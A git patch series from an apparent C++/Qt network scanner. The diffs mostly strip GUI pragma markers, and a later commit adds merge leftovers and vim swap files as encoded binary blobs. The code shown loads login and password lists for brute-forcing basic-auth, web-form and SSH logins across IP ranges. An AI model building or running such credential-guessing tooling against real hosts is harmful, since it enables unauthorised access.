(strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); -#pragma region QTGUI_Area + stt->doEmitionIPS(QString(timeLeft)); stt->doEmitionOffline(QString::number(offlines)); -#pragma endregion + ZeroMemory(timeLeft, sizeof(timeLeft)); ZeroMemory(dbuffer, sizeof(dbuffer)); Sleep(1000); @@ -463,18 +463,18 @@ void *_tracker() if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); -#pragma endregion + continue; }; if(send(sock, msg, strlen(msg), 0) == -1) { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); -#pragma endregion + continue; }; @@ -497,9 +497,9 @@ void *_tracker() if(test == -1) { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); -#pragma endregion + continue; }; @@ -515,19 +515,19 @@ void *_tracker() if(ln > 64) { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); SaveErrorLog("NS-Track", msg, rBuffT); -#pragma endregion + continue; } else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); if(strlen(t2) > 64) { -#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); -#pragma endregion + if(strstr(t2, "\r\n") != NULL) { char *t3 = strstr(t2, "\r\n"); @@ -536,9 +536,9 @@ void *_tracker() if(y > 64) { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); -#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); continue; } @@ -546,18 +546,18 @@ void *_tracker() { strncpy(ndbScriptT, t2, y); CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); -#pragma endregion + strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); }; } else { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); -#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); continue; }; @@ -565,9 +565,9 @@ void *_tracker() else { strcpy(ndbScriptT, t2); -#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); -#pragma endregion + CSSOCKET(sock); strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); }; @@ -575,9 +575,9 @@ void *_tracker() else { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); -#pragma endregion + continue; }; @@ -668,9 +668,9 @@ void *_tracker() { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); -#pragma endregion + continue; }; @@ -684,9 +684,9 @@ void *_tracker() if(send(sock, msg, strlen(msg), 0) == -1) { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); -#pragma endregion + SaveErrorLog("NS-Track", msg, ""); continue; }; @@ -729,29 +729,29 @@ void *_tracker() if(test == -1) { CSSOCKET(sock); -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); -#pragma endregion + SaveErrorLog("NS-Track", msg, ""); continue; }; if(strstr(rBuffT, "201 Created") != NULL) { -#pragma region QTGUI_Area + if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); stt->doEmitionDataSaved(true); Sleep(1000); stt->doEmitionDataSaved(false); -#pragma endregion + } else if(strstr(rBuffT, "400 Bad Request") != NULL) { -#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); -#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); } else @@ -868,7 +868,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) // // }; // // }; // //}; -//#pragma endregion +// // // return res; //}; @@ -913,10 +913,10 @@ void targetAndIPWriter(unsigned long int target, char *buff) strcpy(curIPBuff, "--->"); strcat(curIPBuff, buff); - #pragma region QTGUI_Area + stt->doEmitionIPRANGE(QString(curIPBuff)); stt->doEmitionTargetsLeft(QString(targetNPers)); - #pragma endregion + }; void _passLoginFapper() { @@ -971,9 +971,9 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Password list loaded (" + QString(std::to_string(MaxPass).c_str()) + " entries)"); - #pragma endregion + i = 0; @@ -986,19 +986,19 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Login list loaded (" + QString(std::to_string(MaxLogin).c_str()) + " entries)"); - #pragma endregion + fclose(loginList); fclose(passList); } else { - #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); stt->doEmitionKillSttThread(); - #pragma endregion + }; MaxWFLogin = 0; @@ -1052,9 +1052,9 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string(MaxWFPass).c_str()) + " entries)"); - #pragma endregion + i = 0; @@ -1067,19 +1067,19 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string(MaxWFLogin).c_str()) + " entries)"); - #pragma endregion + fclose(wfLoginList); fclose(wfLoginList); } else { - #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); stt->doEmitionKillSttThread(); - #pragma endregion + }; #pragma region SSHPASS @@ -1118,24 +1118,24 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string(MaxSSHPass).c_str()) + " entries)"); - #pragma endregion + fclose(sshlpList); } else { - #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); stt->doEmitionKillSttThread(); - #pragma endregion + }; -#pragma endregion - #pragma region QTGUI_Area + + stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); - #pragma endregion + }; void ReadUTF8(FILE* nFile, char *cp) { @@ -1231,19 +1231,19 @@ void ReadUTF8(FILE* nFile, char *cp) ZeroMemory(buffFG, sizeof(buffFG)); }; - #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); - #pragma endregion + ZeroMemory(buffFG, sizeof(buffFG)); fclose(nFile); } else { - #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No negative list found"); stt->doEmitionKillSttThread(); - #pragma endregion + }; } #ifdef WIN32 @@ -1341,10 +1341,10 @@ void CheckMaskBits(char *res, int index) } else { -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); stt->doEmitionKillSttThread(); -#pragma endregion + }; }; void GetOctets(char *curIP) @@ -2225,7 +2225,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) }; #endif Sleep(gThreadDelay); -#pragma endregion + }; }; @@ -2275,10 +2275,10 @@ int startScan(char* args) int resInit = fInit(gMode, gRange); if(resInit == -1 ) { - #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] fInit failure"); stt->doEmitionKillSttThread(); - #pragma endregion + return -1; }; @@ -2797,26 +2797,26 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); } else { -#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Wrong parameters."); -#pragma endregion + }; Sleep(gTimeOut + 1); - #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("Stopping threads..."); stt->doEmitionChangeStatus("Stopping..."); - #pragma endregion + while(cons > 0 || isActive == 1 || jsonArr->size() > 0) Sleep(2000); nCleanup(); - #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); stt->doEmitionChangeStatus("Idle"); stt->doEmitionKillSttThread(); - #pragma endregion + }; void nCleanup(){ From 806e03fd70de689d39544781b65d5bef55b94bf1 Mon Sep 17 00:00:00 2001 From: cora48 Date: Wed, 25 Feb 2015 10:43:21 +0300 Subject: [PATCH 02/66] rqw --- .CheckKey_Th.cpp.LOCAL.2427.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.LOCAL.2593.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.LOCAL.2715.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.LOCAL.2915.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.REMOTE.2427.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.REMOTE.2915.cpp.swp | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.swo | Bin 0 -> 16384 bytes .CheckKey_Th.cpp.swp | Bin 0 -> 16384 bytes CheckKey_Th.cpp | 48 +- CheckKey_Th.cpp.BACKUP.2427.cpp | 300 +++ CheckKey_Th.cpp.BACKUP.2593.cpp | 300 +++ CheckKey_Th.cpp.BACKUP.2715.cpp | 300 +++ CheckKey_Th.cpp.BACKUP.2915.cpp | 300 +++ CheckKey_Th.cpp.BASE.2427.cpp | 0 CheckKey_Th.cpp.BASE.2593.cpp | 0 CheckKey_Th.cpp.BASE.2715.cpp | 0 CheckKey_Th.cpp.BASE.2915.cpp | 0 CheckKey_Th.cpp.LOCAL.2427.cpp | 270 +++ CheckKey_Th.cpp.LOCAL.2593.cpp | 270 +++ CheckKey_Th.cpp.LOCAL.2715.cpp | 270 +++ CheckKey_Th.cpp.LOCAL.2915.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2427.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2593.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2715.cpp | 270 +++ CheckKey_Th.cpp.REMOTE.2915.cpp | 270 +++ CheckKey_Th.cpp.orig | 300 +++ CheckProxy_Th.cpp.BACKUP.3053.cpp | 208 ++ CheckProxy_Th.cpp.BASE.3053.cpp | 0 CheckProxy_Th.cpp.LOCAL.3053.cpp | 154 ++ CheckProxy_Th.cpp.REMOTE.3053.cpp | 154 ++ connector.cpp | 2 +- connector.cpp.autosave | 2829 -------------------------- main.cpp | 2 +- 33 files changed, 4183 insertions(+), 2874 deletions(-) create mode 100644 .CheckKey_Th.cpp.LOCAL.2427.cpp.swp create mode 100644 .CheckKey_Th.cpp.LOCAL.2593.cpp.swp create mode 100644 .CheckKey_Th.cpp.LOCAL.2715.cpp.swp create mode 100644 .CheckKey_Th.cpp.LOCAL.2915.cpp.swp create mode 100644 .CheckKey_Th.cpp.REMOTE.2427.cpp.swp create mode 100644 .CheckKey_Th.cpp.REMOTE.2915.cpp.swp create mode 100644 .CheckKey_Th.cpp.swo create mode 100644 .CheckKey_Th.cpp.swp create mode 100644 CheckKey_Th.cpp.BACKUP.2427.cpp create mode 100644 CheckKey_Th.cpp.BACKUP.2593.cpp create mode 100644 CheckKey_Th.cpp.BACKUP.2715.cpp create mode 100644 CheckKey_Th.cpp.BACKUP.2915.cpp create mode 100644 CheckKey_Th.cpp.BASE.2427.cpp create mode 100644 CheckKey_Th.cpp.BASE.2593.cpp create mode 100644 CheckKey_Th.cpp.BASE.2715.cpp create mode 100644 CheckKey_Th.cpp.BASE.2915.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2427.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2593.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2715.cpp create mode 100644 CheckKey_Th.cpp.LOCAL.2915.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2427.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2593.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2715.cpp create mode 100644 CheckKey_Th.cpp.REMOTE.2915.cpp create mode 100644 CheckKey_Th.cpp.orig create mode 100644 CheckProxy_Th.cpp.BACKUP.3053.cpp create mode 100644 CheckProxy_Th.cpp.BASE.3053.cpp create mode 100644 CheckProxy_Th.cpp.LOCAL.3053.cpp create mode 100644 CheckProxy_Th.cpp.REMOTE.3053.cpp delete mode 100644 connector.cpp.autosave diff --git a/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..96cb604df7d58767e0d399ed0e517789fa481b6b GIT binary patch literal 16384 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 literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..ceb9b6cfddc8cb9c608c135618268a6b741b0fd3 GIT binary patch literal 16384 zcmeI3TWllM8OIO11?mEYQd(3b)DtgS&7_H)WOqUJl5JDRyNNcp#$LADu(ifB$M!V# z88dV2B)hCC0Z%|5TD3e>q7vevTUwAnJOh;~A*fV|$MRIEt=gAfB=)JIm;ZNW#&P28 zg$0Qgol$u;+xvdX)MpqAgFsR6)sFSZ z>4}yvdRIx9Zw76VU++cv*}(0#g;Y_#xDp266)t{B5xGvj*c9&iNwHO}G;?mJlUrCW z&Mf4nj(qhHonFO&i8cxt1+JjLZS2t0gL-$SGJB@KH#`MzP-_kWUu($eun{Ke9A|4!m>O~Usl5ovr9Y`%;F zMggOMQNSo*6fg=H1&jhl0i%FXz$jo8_!ty$JjM#JTcZsCJpWJc|KGcvv3J4i;3e=3 z*aDm2Ah-`?z#l%#*gN32;3D`j_yJf4C2%8P;QiYe`zLq-Tm;_-4R8vqf-&$V@CEQb zHWA(ezXorB*T65pGvG%+0Rd`Y1l$Ea2mW;nY=Bq6&%pEGY48Ym2%G{Bf_uPU@P5Oe z!8_nJa1lHX+F%ZhfSbWh;8KRM_rP=DIC%5ZjQt9%gTLL3a=;7V=b#3@3~mRvg2!%R ztOHz71>XTjz+rG77y-}T$kHUzie0){7!tV)>Mmx1Cvr{#Mi*|^a2RI*>UT9O~*_aC2 z(_BsQajquuff8CmTG^&jokBjJWJdfnMd8n~+@=$b+7^<3WjMJ##LXCeIg2{LkRrO-(BF_chs>auMUDB;^83>HN@2)E*z z4#c9uNmF*ti4V~ck&xbA9YNt-1s`!YB zJCmr7x~aN%lh&rz;|A-o<#-+zgo6|^gP&vR5J&@T8k#$scSf{Y!Nz5lwN>#*7vr5) zvSeNJJGq>m4lEO|mYm9_!Gtgfv|4r3Is=RiWj@NOWoXjJ+Avh&dYe|Rc4e-7<@Wh??uk0u?pdejmkv$Y{Lx4IA=N#C z(y)UE`AC|xS}mSAfwa{st)g?w+iPm};qYNe=w)~)rWnscT%QZv zZ3U6oJK49!m*|bo-k}1ogx%pp$#ByXWWY9`t5jCPz+QBx`Q=M5&^)qk+jB)#IuYgt(~irV3BuIkJ66Ia1>V0waJO8fgHOp*_mBS%H`c8 z@|fV%G*okkXVkyGrpv+lf{^?{j=_cN(oX;2gBh#)qUDh-(e9|Nz8%bbZ35SEy5`a) zGd@q
Hi2qV-Ny?UNe0{qr51B-Cc@ug+!Kmo^azP@}C9YKC1>Z--jA2fy~b-jlr zbc}aYIEe-M9NHC~n<&OM@Wjt~7FObHM2vJbOW?Ayo~qbcO=wv1uxTY z>R0E7qcEN5oqCGsgifRF@BnT(qx=8g;Qst>+{@GbKW?M-@k^Ws;4D}H%ituK11CTp zjDvds<^3Wshf%;NU=%P47zK<1MggOMQNSo*6fg=H1^&+zpbe$n8&I?{r8i*){ztt~ z2)nd5#V7;Vy>~YJL8+8SsV~3pH~x*} dsT&@Hb?~409^de34^Zj{qqP5oM+|y*?!Sul0#*P3 literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..644ffad324e09c85d501d9b33f71367afc5bec75 GIT binary patch literal 16384 zcmeI3TWlj&8OKj|X^WwyTnZJH5GUShH4_p$&hEC7w^;~|cN1-H#NIC3bg{-W$Mz8W zj5~AeB)eT9QJyF~fS?aZtyJ;AwuK5%p9@Gx2#`R1q)(LqwJ$A5-6vEo|L@F<pJ$4P41E_7->soCLr5AY;D*8{o~`Q4V+xJPYdJv*0dp2l)DJ zjCFwvYTzs27&r><17qN+TN!%-d=p#(+h7Zv1GC@@;2yxh?>+$g;OF24@DuP9_yM>Z z900d~D+d|-JNO&;3-}Xw5&R5%7n}tZ@ELFgeg9YRDtH2Hf<9;h8W#?@`6H9bTw?gh zghKT~$tMfPF?4X0DwUPe>2lSI0(ZkcuEQdwCQo=lx#KH8kZZy_8T6z#=P1X@uH&^3 z?$Y}q=lSHCaE0F&9*;!W7a@;S=*uSeBQ68Q`%c^U#r<&X z&S$uq=963%@PQKALR#6DQr%)cpJYb-3`OD3vfP#vj@uTJe{M9nJ;Ad{F0u%N?<5-^ zo8il678j{@D1TtH6E#upaGg;2PT6~+2c>Y9p~~`cH4R~tpIZ1!IN#G1qaAU>-4F`5 zZ`nNVTH)n*$&u6n6wVuA(BXBb?MPRIV>}DhzEsiuR4mF~r!GS4Y-RS8P>W8a%3&CU zmTe&R4_{BI}m&dYHMw%l=WkU>GKf&;uIOVu~KLx`xr{7I(6BO36$`#2!kcj3Bv8T zrbDr)aMG0BbK+feL?ooQUq?_lSHXMS4T(D1D9zqf<9G_C8t>Q2{igj5k2W`u67P!b z*UlvBy>6=R-K4dt^|--$Y&o8X1>rD-%;M)nIt0=Hn}+7@=A9GmcCdMsWo=D7+QWFK zl`L7;{BAC%rvuBxt0kwhX|Ul-D2vaYtSu~;s}r1}YnAF+d3I@nFRZSvtyEWP)zT`r zk8^ei!@zH_jA%!KWBF(Wk(y}=Mc?&p>2w6QFsmwIA2Y+UdNT5x602)Fkj-(M4_cUu zd|9Jb+v`&_S@tF!x2eR*6D^&n*7hSsDe(s(VAq#I>8R8iO~Zxd*}1v3+VaYB+1BkM zEeDozkCT#(eI$HD5_%aPi7Cai5ZC7- zciTZE_D}ZZ$z^(@vwx(>t6^_6Q8L{01R1i;=d0D#d?7bQ6_`i;ihQJe%Ib#k+#1Rn zUwx^*-DJ(po+?*$b~G@Vqk3F*gAf-L-co^#EJp=?G8|VCz6hz~c{`k=;dK1=Hu5C% zja1WR(qyRlaxiXVIrUXVdUaIO@2d6tkM3Mq22t8^8I8i~xn7u>9?G%zlAYPJq+H!i zB9949O;fdYc}9clYq}h4EDFgV*EUK$J`aE4NoCrFtn;vzt$b?A_17CTZpH1*JY zN(4h#U@JQ76$HE>Vi>H7(+$z=UY+eqK3)|Rg!hcXNVgS*IaAT4}6bf$*%P3 zNUeQQKCVlMYn7HW0Uwz>zqmr_SzKJ)ToS{+u6E?(UZ^CMyD1^bsUDOtBzIb9tOPmT zY29_F{MTz=-g@`yvqQdg+dWV4tk_Z_lqY-ArF)(z*UFAW(hbn=@Cx3K-<43$6}(Kp zrC*&Njly)Icj_sk8#>L7!vnbGjPCz`kNfj`a4%2y|G16T$B%Iyfb(D#tbo&C9-IPs zFbVDjl=oA>97X}7fKk9GU=%P47zK<1MggOMQNSo*6!;%gfHsu&Za~q-l-`6H`XBXT zG3?Ra6r&7a@7~$y6CG>~HRnXV*IWubf$i>H4?K0m&a;8!X_?Mx&HwEHv>Qb literal 0 HcmV?d00001 diff --git a/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp new file mode 100644 index 0000000000000000000000000000000000000000..2252168b52089ec143d35924174e6172140800fa GIT binary patch literal 16384 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 